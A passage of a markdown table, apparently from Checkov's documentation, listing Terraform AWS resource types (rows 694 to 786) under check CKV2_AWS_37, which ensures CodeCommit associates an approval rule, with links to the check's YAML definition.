CKV2_AWS_37     | resource | aws_apprunner_custom_domain_association                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  694 | CKV2_AWS_37     | resource | aws_apprunner_default_auto_scaling_configuration_version         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  695 | CKV2_AWS_37     | resource | aws_apprunner_deployment                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  696 | CKV2_AWS_37     | resource | aws_apprunner_observability_configuration                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  697 | CKV2_AWS_37     | resource | aws_apprunner_service                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  698 | CKV2_AWS_37     | resource | aws_apprunner_vpc_connector                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  699 | CKV2_AWS_37     | resource | aws_apprunner_vpc_ingress_connection                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  700 | CKV2_AWS_37     | resource | aws_appstream_directory_config                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  701 | CKV2_AWS_37     | resource | aws_appstream_fleet                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  702 | CKV2_AWS_37     | resource | aws_appstream_fleet_stack_association                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  703 | CKV2_AWS_37     | resource | aws_appstream_image_builder                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  704 | CKV2_AWS_37     | resource | aws_appstream_stack                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  705 | CKV2_AWS_37     | resource | aws_appstream_user                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  706 | CKV2_AWS_37     | resource | aws_appstream_user_stack_association                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  707 | CKV2_AWS_37     | resource | aws_appsync_api_cache                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  708 | CKV2_AWS_37     | resource | aws_appsync_api_key                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  709 | CKV2_AWS_37     | resource | aws_appsync_datasource                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  710 | CKV2_AWS_37     | resource | aws_appsync_domain_name                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  711 | CKV2_AWS_37     | resource | aws_appsync_domain_name_api_association                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  712 | CKV2_AWS_37     | resource | aws_appsync_function                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  713 | CKV2_AWS_37     | resource | aws_appsync_graphql_api                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  714 | CKV2_AWS_37     | resource | aws_appsync_resolver                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  715 | CKV2_AWS_37     | resource | aws_appsync_source_api_association                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  716 | CKV2_AWS_37     | resource | aws_appsync_type                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  717 | CKV2_AWS_37     | resource | aws_athena_data_catalog                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  718 | CKV2_AWS_37     | resource | aws_athena_database                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  719 | CKV2_AWS_37     | resource | aws_athena_named_query                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  720 | CKV2_AWS_37     | resource | aws_athena_prepared_statement                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  721 | CKV2_AWS_37     | resource | aws_athena_workgroup                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  722 | CKV2_AWS_37     | resource | aws_auditmanager_account_registration                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  723 | CKV2_AWS_37     | resource | aws_auditmanager_assessment                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  724 | CKV2_AWS_37     | resource | aws_auditmanager_assessment_delegation                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  725 | CKV2_AWS_37     | resource | aws_auditmanager_assessment_report                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  726 | CKV2_AWS_37     | resource | aws_auditmanager_control                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  727 | CKV2_AWS_37     | resource | aws_auditmanager_framework                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  728 | CKV2_AWS_37     | resource | aws_auditmanager_framework_share                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  729 | CKV2_AWS_37     | resource | aws_auditmanager_organization_admin_account_registration         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  730 | CKV2_AWS_37     | resource | aws_autoscaling_attachment                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  731 | CKV2_AWS_37     | resource | aws_autoscaling_group                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  732 | CKV2_AWS_37     | resource | aws_autoscaling_group_tag                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  733 | CKV2_AWS_37     | resource | aws_autoscaling_lifecycle_hook                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  734 | CKV2_AWS_37     | resource | aws_autoscaling_notification                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  735 | CKV2_AWS_37     | resource | aws_autoscaling_policy                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  736 | CKV2_AWS_37     | resource | aws_autoscaling_schedule                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  737 | CKV2_AWS_37     | resource | aws_autoscaling_traffic_source_attachment                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  738 | CKV2_AWS_37     | resource | aws_autoscalingplans_scaling_plan                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  739 | CKV2_AWS_37     | resource | aws_az_info                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  740 | CKV2_AWS_37     | resource | aws_backup_framework                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  741 | CKV2_AWS_37     | resource | aws_backup_global_settings                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  742 | CKV2_AWS_37     | resource | aws_backup_logically_air_gapped_vault                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  743 | CKV2_AWS_37     | resource | aws_backup_plan                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  744 | CKV2_AWS_37     | resource | aws_backup_region_settings                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  745 | CKV2_AWS_37     | resource | aws_backup_report_plan                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  746 | CKV2_AWS_37     | resource | aws_backup_restore_testing_plan                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  747 | CKV2_AWS_37     | resource | aws_backup_restore_testing_selection                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  748 | CKV2_AWS_37     | resource | aws_backup_selection                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  749 | CKV2_AWS_37     | resource | aws_backup_vault                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  750 | CKV2_AWS_37     | resource | aws_backup_vault_lock_configuration                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  751 | CKV2_AWS_37     | resource | aws_backup_vault_notifications                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  752 | CKV2_AWS_37     | resource | aws_backup_vault_policy                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  753 | CKV2_AWS_37     | resource | aws_batch_compute_environment                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  754 | CKV2_AWS_37     | resource | aws_batch_job_definition                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  755 | CKV2_AWS_37     | resource | aws_batch_job_queue                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  756 | CKV2_AWS_37     | resource | aws_batch_scheduling_policy                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  757 | CKV2_AWS_37     | resource | aws_bcmdataexports_export                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  758 | CKV2_AWS_37     | resource | aws_bedrock_custom_model                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  759 | CKV2_AWS_37     | resource | aws_bedrock_guardrail                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  760 | CKV2_AWS_37     | resource | aws_bedrock_guardrail_version                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  761 | CKV2_AWS_37     | resource | aws_bedrock_inference_profile                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  762 | CKV2_AWS_37     | resource | aws_bedrock_model_invocation_logging_configuration               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  763 | CKV2_AWS_37     | resource | aws_bedrock_provisioned_model_throughput                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  764 | CKV2_AWS_37     | resource | aws_bedrockagent_agent                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  765 | CKV2_AWS_37     | resource | aws_bedrockagent_agent_action_group                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  766 | CKV2_AWS_37     | resource | aws_bedrockagent_agent_alias                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  767 | CKV2_AWS_37     | resource | aws_bedrockagent_agent_collaborator                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  768 | CKV2_AWS_37     | resource | aws_bedrockagent_agent_knowledge_base_association                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  769 | CKV2_AWS_37     | resource | aws_bedrockagent_data_source                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  770 | CKV2_AWS_37     | resource | aws_bedrockagent_knowledge_base                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  771 | CKV2_AWS_37     | resource | aws_budgets_budget                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  772 | CKV2_AWS_37     | resource | aws_budgets_budget_action                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  773 | CKV2_AWS_37     | resource | aws_caller_info                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  774 | CKV2_AWS_37     | resource | aws_ce_anomaly_monitor                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  775 | CKV2_AWS_37     | resource | aws_ce_anomaly_subscription                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  776 | CKV2_AWS_37     | resource | aws_ce_cost_allocation_tag                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  777 | CKV2_AWS_37     | resource | aws_ce_cost_category                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  778 | CKV2_AWS_37     | resource | aws_chatbot_slack_channel_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  779 | CKV2_AWS_37     | resource | aws_chatbot_teams_channel_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  780 | CKV2_AWS_37     | resource | aws_chime_voice_connector                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  781 | CKV2_AWS_37     | resource | aws_chime_voice_connector_group                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  782 | CKV2_AWS_37     | resource | aws_chime_voice_connector_logging                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  783 | CKV2_AWS_37     | resource | aws_chime_voice_connector_origination                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  784 | CKV2_AWS_37     | resource | aws_chime_voice_connector_streaming                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  785 | CKV2_AWS_37     | resource | aws_chime_voice_connector_termination                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  786 | CKV2_AWS_37     | resource | aws_chime_voice_connector_termination_credentials                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 